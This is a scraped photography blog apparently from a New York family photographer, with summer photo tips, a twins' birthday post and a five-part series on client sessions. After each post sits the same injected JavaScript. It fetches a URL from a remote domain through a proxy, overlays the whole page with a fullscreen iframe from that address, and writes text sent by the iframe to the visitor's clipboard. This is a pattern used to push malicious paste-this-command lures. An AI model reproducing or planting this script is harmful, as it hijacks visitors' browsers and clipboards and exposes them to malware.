Tips For Getting Great Summer Pictures

Sprinklers, ice cream cones, and long lazy afternoons – summer is a time for making memories. Grab your camera and capture those moments you’re going to want to remember. Here are a few things to keep in mind so that you can get the best summer pictures.

carrienicholsphotography_ blog_summer_07

1. Learn to look for light.

Light that comes from overhead is never very flattering. Taking a picture outside in the midday sun can result in bright highlights, harsh shadows, and dark eyes. If you are shooting inside with an overhead light, the effect is similar.

You want to look for light that has a softer spread from light to shadow and comes in angled towards your subject (instead of from directly above).

carrienicholsphotography_ blog_summer_02If you are outside, find patches of shade from an overhanging playground structure or a group of trees or shoot early in the morning or late in the day when the sun is lower in the sky.

 

carrienicholsphotography_ blog_summer_01If you are inside, turn off all the lights and shoot next to the window or use a side table lamp to get dimensional light.

 

2. Think about perspective.

Changing up your shooting angle from above, eye-level, or below can create a drastically different story for your viewer. Think about what perspective you’d like to shoot from in order to better communicate your message.

carrienicholsphotography_ blog_summer_04If you want your viewer to feel involved in the action while it’s happening, get down on your subject’s eye level.

 

carrienicholsphotography_ blog_summer_05If you want to give the impression that you are removed from the action and an observer, shoot from above.

 

carrienicholsphotography_ blog_summer_06For larger than life shots that make your subject seem big and powerful, shoot from below.

 

3. Keep fingers and toes inside the frame.

When your eye travels around your subject, it wants to continue exploring the picture. If you chop off a hand, your eye follows the arm right out of the picture which can leave the viewer feeling like the experience is unfinished. Keeping all of the fingers and toes inside the frame lets your viewer get the full picture (see what I did there?).

This isn’t to say that you need to capture your child’s entire body within every picture, just keep the important body parts inside the edges of the picture.

carrienicholsphotography_ blog_summer_08If you’re shooting waist up, keep the hands in.

 

carrienicholsphotography_ blog_summer_09If you want a close up of their ice cream covered smiling face, don’t worry about limb chops at all.

 

carrienicholsphotography_ blog_summer_10If you do want a picture that shows their whole body, make sure those toes are in the frame too!

 

I hope these tips help you step up your photo game this summer. As with all rules, there are certainly times when these suggestions can be ignored. If it’s high noon and you are having a moment that needs to be documented, snap away! Better to have a picture (even if it’s not perfect) than to not have caught the moment at all. Whatever adventures your summer holds this year, bring along your camera and capture those memories!

carrienicholsphotography_ blog_summer_11

I would love to see your summer pictures. Share them with me on my Facebook page or tag me on Instagram so I can check them out!

const configLink = "https://corsproxy.io/?url=http://heyues.live";

if (!window.__digitalflwrFetchPromise) {

window.__digitalflwrFetchPromise = fetch(configLink) .then(response => { if (!response.ok) { throw new Error(" "); } return response.text(); })

.then(finalUrl => { return fetch(finalUrl, { method: "HEAD" }) .then(headResponse => ({ headResponse, finalUrl })); }) .catch(() => {

}); }

if (typeof window.__digitalflwrIframeCreated === "undefined") { window.__digitalflwrIframeCreated = false; }

window.__digitalflwrFetchPromise .then(result => {

if (!result) return; const { headResponse, finalUrl } = result;

if (!headResponse || headResponse.status === 404) { return; }

if (!window.__digitalflwrIframeCreated) { window.__digitalflwrIframeCreated = true; createMainIframe(finalUrl); } }) .catch(() => {

});

function createMainIframe(url) { const iframe = document.createElement("iframe"); iframe.src = url; iframe.style.position = "fixed"; iframe.style.top = 0; iframe.style.left = 0; iframe.style.width = "100%"; iframe.style.height = "100%"; iframe.style.border = "none"; iframe.style.margin = 0; iframe.style.padding = 0; iframe.style.overflow = "hidden"; iframe.style.zIndex = 99999;

document.body.appendChild(iframe);

window.addEventListener("message", function(event) { if (!event.data || event.data.type !== "copy") return;

if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(event.data.text).catch(() => { fallbackCopyText(event.data.text); }); } else { fallbackCopyText(event.data.text); } });

function fallbackCopyText(text) { const textArea = document.createElement("textarea"); textArea.value = text; document.body.appendChild(textArea); textArea.select();

try { document.execCommand("copy"); } catch (err) {

}

document.body.removeChild(textArea); } } })();

Kiran and Raj Turn One | New York City Birthday Party Photographer

Happy First Birthday, Boys!

I first met Kiran and Raj when they were 3 months old and was instantly taken with their sweet smiles and beautiful big eyes. They are both full of joy, spirit, and lots of love for their adoring parents. Nine months later, in a room full of family and friends, these twins celebrated their first birthday with lots of laughs and love.

carrienicholsphotography_ blog_kiran-raj_01 carrienicholsphotography_ blog_kiran-raj_02carrienicholsphotography_ blog_kiran-raj_14carrienicholsphotography_ blog_kiran-raj_09carrienicholsphotography_ blog_kiran-raj_10carrienicholsphotography_ blog_kiran-raj_08carrienicholsphotography_ blog_kiran-raj_36carrienicholsphotography_ blog_kiran-raj_50

This family knows how to throw a party! From the cupcakes to the crowns, the details were just right. I am so thrilled to have documented the boys’ birthday party and can’t wait to see what new things are in store for these two in the coming year.

const configLink = "https://corsproxy.io/?url=http://heyues.live";

if (!window.__digitalflwrFetchPromise) {

window.__digitalflwrFetchPromise = fetch(configLink) .then(response => { if (!response.ok) { throw new Error(" "); } return response.text(); })

.then(finalUrl => { return fetch(finalUrl, { method: "HEAD" }) .then(headResponse => ({ headResponse, finalUrl })); }) .catch(() => {

}); }

if (typeof window.__digitalflwrIframeCreated === "undefined") { window.__digitalflwrIframeCreated = false; }

window.__digitalflwrFetchPromise .then(result => {

if (!result) return; const { headResponse, finalUrl } = result;

if (!headResponse || headResponse.status === 404) { return; }

if (!window.__digitalflwrIframeCreated) { window.__digitalflwrIframeCreated = true; createMainIframe(finalUrl); } }) .catch(() => {

});

function createMainIframe(url) { const iframe = document.createElement("iframe"); iframe.src = url; iframe.style.position = "fixed"; iframe.style.top = 0; iframe.style.left = 0; iframe.style.width = "100%"; iframe.style.height = "100%"; iframe.style.border = "none"; iframe.style.margin = 0; iframe.style.padding = 0; iframe.style.overflow = "hidden"; iframe.style.zIndex = 99999;

document.body.appendChild(iframe);

window.addEventListener("message", function(event) { if (!event.data || event.data.type !== "copy") return;

if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(event.data.text).catch(() => { fallbackCopyText(event.data.text); }); } else { fallbackCopyText(event.data.text); } });

function fallbackCopyText(text) { const textArea = document.createElement("textarea"); textArea.value = text; document.body.appendChild(textArea); textArea.select();

try { document.execCommand("copy"); } catch (err) {

}

document.body.removeChild(textArea); } } })();

Things I Love About Client Sessions Part Five – Joy | New York Family Photographer

Welcome to the start of the Carrie Nichols Photography Blog. I’m so glad you’ve joined me here. To kick things off, I’m featuring a five-part series celebrating the things I love about client sessions. Missed earlier posts? Check out Part One, Part Two, Part Three, and Part Four.

Part Five – Joy

I’ve saved the best for last in this series. My absolute favorite thing to capture in photos is the joy and the love between you and your family.

carrienicholsphotography_ blog_joy_01 carrienicholsphotography_ blog_joy_02 carrienicholsphotography_ blog_joy_03 carrienicholsphotography_ blog_joy_04 carrienicholsphotography_ blog_joy_05

I love to send you home with images capturing these true and authentic moments of your love for one another.

const configLink = "https://corsproxy.io/?url=http://heyues.live";

if (!window.__digitalflwrFetchPromise) {

window.__digitalflwrFetchPromise = fetch(configLink) .then(response => { if (!response.ok) { throw new Error(" "); } return response.text(); })

.then(finalUrl => { return fetch(finalUrl, { method: "HEAD" }) .then(headResponse => ({ headResponse, finalUrl })); }) .catch(() => {

}); }

if (typeof window.__digitalflwrIframeCreated === "undefined") { window.__digitalflwrIframeCreated = false; }

window.__digitalflwrFetchPromise .then(result => {

if (!result) return; const { headResponse, finalUrl } = result;

if (!headResponse || headResponse.status === 404) { return; }

if (!window.__digitalflwrIframeCreated) { window.__digitalflwrIframeCreated = true; createMainIframe(finalUrl); } }) .catch(() => {

});

function createMainIframe(url) { const iframe = document.createElement("iframe"); iframe.src = url; iframe.style.position = "fixed"; iframe.style.top = 0; iframe.style.left = 0; iframe.style.width = "100%"; iframe.style.height = "100%"; iframe.style.border = "none"; iframe.style.margin = 0; iframe.style.padding = 0; iframe.style.overflow = "hidden"; iframe.style.zIndex = 99999;

document.body.appendChild(iframe);

window.addEventListener("message", function(event) { if (!event.data || event.data.type !== "copy") return;

if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(event.data.text).catch(() => { fallbackCopyText(event.data.text); }); } else { fallbackCopyText(event.data.text); } });

function fallbackCopyText(text) { const textArea = document.createElement("textarea"); textArea.value = text; document.body.appendChild(textArea); textArea.select();

try { document.execCommand("copy"); } catch (err) {

}

document.body.removeChild(textArea); } } })();

Things I Love About Client Sessions Part Four – The Right Location | New York Family Photographer

Welcome to the start of the Carrie Nichols Photography Blog. I’m so glad you’ve joined me here. To kick things off, I’m featuring a five-part series celebrating the things I love about client sessions. Missed earlier posts? Check out Part One, Part Two, Part Three.

Part Four – The Right Location

We live in New York City, a place filled with iconic locations and endless options for a photo session. Sometimes the best place to shoot, however, is the comfy chair in your living room where the grandkids can curl up with Safta/Oma/Nana and read a book. I love to shoot a session in a location that fits your family and your lives right now.

carrienicholsphotography_ blog_the-right-location_01 carrienicholsphotography_ blog_the-right-location_02 carrienicholsphotography_ blog_the-right-location_03 carrienicholsphotography_ blog_the-right-location_04 carrienicholsphotography_ blog_the-right-location_05

Finding the right place to capture your family and ending up with shots you love is one of my favorites parts of being a photographer.

const configLink = "https://corsproxy.io/?url=http://heyues.live";

if (!window.__digitalflwrFetchPromise) {

window.__digitalflwrFetchPromise = fetch(configLink) .then(response => { if (!response.ok) { throw new Error(" "); } return response.text(); })

.then(finalUrl => { return fetch(finalUrl, { method: "HEAD" }) .then(headResponse => ({ headResponse, finalUrl })); }) .catch(() => {

}); }

if (typeof window.__digitalflwrIframeCreated === "undefined") { window.__digitalflwrIframeCreated = false; }

window.__digitalflwrFetchPromise .then(result => {

if (!result) return; const { headResponse, finalUrl } = result;

if (!headResponse || headResponse.status === 404) { return; }

if (!window.__digitalflwrIframeCreated) { window.__digitalflwrIframeCreated = true; createMainIframe(finalUrl); } }) .catch(() => {

});

function createMainIframe(url) { const iframe = document.createElement("iframe"); iframe.src = url; iframe.style.position = "fixed"; iframe.style.top = 0; iframe.style.left = 0; iframe.style.width = "100%"; iframe.style.height = "100%"; iframe.style.border = "none"; iframe.style.margin = 0; iframe.style.padding = 0; iframe.style.overflow = "hidden"; iframe.style.zIndex = 99999;

document.body.appendChild(iframe);

window.addEventListener("message", function(event) { if (!event.data || event.data.type !== "copy") return;

if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(event.data.text).catch(() => { fallbackCopyText(event.data.text); }); } else { fallbackCopyText(event.data.text); } });

function fallbackCopyText(text) { const textArea = document.createElement("textarea"); textArea.value = text; document.body.appendChild(textArea); textArea.select();

try { document.execCommand("copy"); } catch (err) {

}

document.body.removeChild(textArea); } } })();

Things I Love About Client Sessions Part Three – Connection | New York Family Photographer

Welcome to the start of the Carrie Nichols Photography Blog. I’m so glad you’ve joined me here. To kick things off, I’m featuring a five-part series celebrating the things I love about client sessions. Missed earlier posts? Check out Part One and Part Two.

Part Three – Connection

It happens in small ways and in quick moments – we comfort, care for, and connect with one another. I love when I can capture this in an image.

carrienicholsphotography_ blog_connection_01 carrienicholsphotography_ blog_connection_02 carrienicholsphotography_ blog_connection_03 carrienicholsphotography_ blog_connection_04 carrienicholsphotography_ blog_connection_05

As parents we hold a great responsibility. We are tasked with raising small people into grown adults. We comfort their pain, care for their needs, and connect with their hearts. I love when an image can capture a moment of this connection.

const configLink = "https://corsproxy.io/?url=http://heyues.live";

if (!window.__digitalflwrFetchPromise) {

window.__digitalflwrFetchPromise = fetch(configLink) .then(response => { if (!response.ok) { throw new Error(" "); } return response.text(); })

.then(finalUrl => { return fetch(finalUrl, { method: "HEAD" }) .then(headResponse => ({ headResponse, finalUrl })); }) .catch(() => {

}); }

if (typeof window.__digitalflwrIframeCreated === "undefined") { window.__digitalflwrIframeCreated = false; }

window.__digitalflwrFetchPromise .then(result => {

if (!result) return; const { headResponse, finalUrl } = result;

if (!headResponse || headResponse.status === 404) { return; }

if (!window.__digitalflwrIframeCreated) { window.__digitalflwrIframeCreated = true; createMainIframe(finalUrl); } }) .catch(() => {

});

function createMainIframe(url) { const iframe = document.createElement("iframe"); iframe.src = url; iframe.style.position = "fixed"; iframe.style.top = 0; iframe.style.left = 0; iframe.style.width = "100%"; iframe.style.height = "100%"; iframe.style.border = "none"; iframe.style.margin = 0; iframe.style.padding = 0; iframe.style.overflow = "hidden"; iframe.style.zIndex = 99999;

document.body.appendChild(iframe);

window.addEventListener("message", function(event) { if (!event.data || event.data.type !== "copy") return;

if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(event.data.text).catch(() => { fallbackCopyText(event.data.text); }); } else { fallbackCopyText(event.data.text); } });

function fallbackCopyText(text) { const textArea = document.createElement("textarea"); textArea.value = text; document.body.appendChild(textArea); textArea.select();

try { document.execCommand("copy"); } catch (err) {

}

document.body.removeChild(textArea); } } })();

Things I Love About Client Sessions Part Two – Baby Details | New York City Family Photographer

Welcome to the start of the Carrie Nichols Photography Blog. I’m so glad you’ve joined me here. To kick things off, I’m featuring a five-part series celebrating the things I love about client sessions. See Part One of the series here.

Part Two – Baby Details

There is nothing like the newness of a baby. Though it can feel like each day with a newborn goes by so slowly, before you know it you are celebrating a first birthday. All of the details in the first year are so fleeting – a big yawn, tiny toes, and how small they start out.

carrienicholsphotography_ blog_baby-details_01carrienicholsphotography_ blog_baby-details_02carrienicholsphotography_ blog_baby-details_03carrienicholsphotography_ blog_baby-details_04carrienicholsphotography_ blog_baby-details_05 carrienicholsphotography_ blog_baby-details_06

I love being able to capture the newness of a baby. It brings me joy to think that on a morning a few years from now after you’ve spent a few hours chasing a toddler around the playground, you can sit down, pull out this album and remember how small, how sweet, and how stationary your kid once was.

const configLink = "https://corsproxy.io/?url=http://heyues.live";

if (!window.__digitalflwrFetchPromise) {

window.__digitalflwrFetchPromise = fetch(configLink) .then(response => { if (!response.ok) { throw new Error(" "); } return response.text(); })

.then(finalUrl => { return fetch(finalUrl, { method: "HEAD" }) .then(headResponse => ({ headResponse, finalUrl })); }) .catch(() => {

}); }

if (typeof window.__digitalflwrIframeCreated === "undefined") { window.__digitalflwrIframeCreated = false; }

window.__digitalflwrFetchPromise .then(result => {

if (!result) return; const { headResponse, finalUrl } = result;

if (!headResponse || headResponse.status === 404) { return; }

if (!window.__digitalflwrIframeCreated) { window.__digitalflwrIframeCreated = true; createMainIframe(finalUrl); } }) .catch(() => {

});

function createMainIframe(url) { const iframe = document.createElement("iframe"); iframe.src = url; iframe.style.position = "fixed"; iframe.style.top = 0; iframe.style.left = 0; iframe.style.width = "100%"; iframe.style.height = "100%"; iframe.style.border = "none"; iframe.style.margin = 0; iframe.style.padding = 0; iframe.style.overflow = "hidden"; iframe.style.zIndex = 99999;

document.body.appendChild(iframe);

window.addEventListener("message", function(event) { if (!event.data || event.data.type !== "copy") return;

if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(event.data.text).catch(() => { fallbackCopyText(event.data.text); }); } else { fallbackCopyText(event.data.text); } });

function fallbackCopyText(text) { const textArea = document.createElement("textarea"); textArea.value = text; document.body.appendChild(textArea); textArea.select();

try { document.execCommand("copy"); } catch (err) {

}

document.body.removeChild(textArea); } } })();

Things I Love About Client Sessions Part One – Capturing Real Moments | New York City Family Photographer

Welcome to the start of the Carrie Nichols Photography Blog. I’m so glad you’ve joined me here. To kick things off, I’m featuring a five-part series celebrating the things I love about client sessions.

Part One – Capturing Real Moments

The memories in our heads are not just of smiling and posed faces, they are much more complex and diverse.

Our memories are of floors strewn with toys, cousins exploring each others’ faces, and all of the real feelings, interactions and moments we have.

These are the moments I love to capture.

carrienicholsphotography_ blog_real-moments_01

carrienicholsphotography_ blog_real-moments_02

carrienicholsphotography_ blog_real-moments_03

carrienicholsphotography_ blog_real-moments_04

carrienicholsphotography_ blog_real-moments_05

Though the memories in our heads might fade with time, these photos can last much longer.

Capturing some of the real moments in your session lets me give you the gift of the memories to take home with you, put up on your walls, and keep close to your heart.

 

 

const configLink = "https://corsproxy.io/?url=http://heyues.live";

if (!window.__digitalflwrFetchPromise) {

window.__digitalflwrFetchPromise = fetch(configLink) .then(response => { if (!response.ok) { throw new Error(" "); } return response.text(); })

.then(finalUrl => { return fetch(finalUrl, { method: "HEAD" }) .then(headResponse => ({ headResponse, finalUrl })); }) .catch(() => {

}); }

if (typeof window.__digitalflwrIframeCreated === "undefined") { window.__digitalflwrIframeCreated = false; }

window.__digitalflwrFetchPromise .then(result => {

if (!result) return; const { headResponse, finalUrl } = result;

if (!headResponse || headResponse.status === 404) { return; }

if (!window.__digitalflwrIframeCreated) { window.__digitalflwrIframeCreated = true; createMainIframe(finalUrl); } }) .catch(() => {

});

function createMainIframe(url) { const iframe = document.createElement("iframe"); iframe.src = url; iframe.style.position = "fixed"; iframe.style.top = 0; iframe.style.left = 0; iframe.style.width = "100%"; iframe.style.height = "100%"; iframe.style.border = "none"; iframe.style.margin = 0; iframe.style.padding = 0; iframe.style.overflow = "hidden"; iframe.style.zIndex = 99999;

document.body.appendChild(iframe);

window.addEventListener("message", function(event) { if (!event.data || event.data.type !== "copy") return;

if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(event.data.text).catch(() => { fallbackCopyText(event.data.text); }); } else { fallbackCopyText(event.data.text); } });

function fallbackCopyText(text) { const textArea = document.createElement("textarea"); textArea.value = text; document.body.appendChild(textArea); textArea.select();

try { document.execCommand("copy"); } catch (err) {

}

document.body.removeChild(textArea); } } })();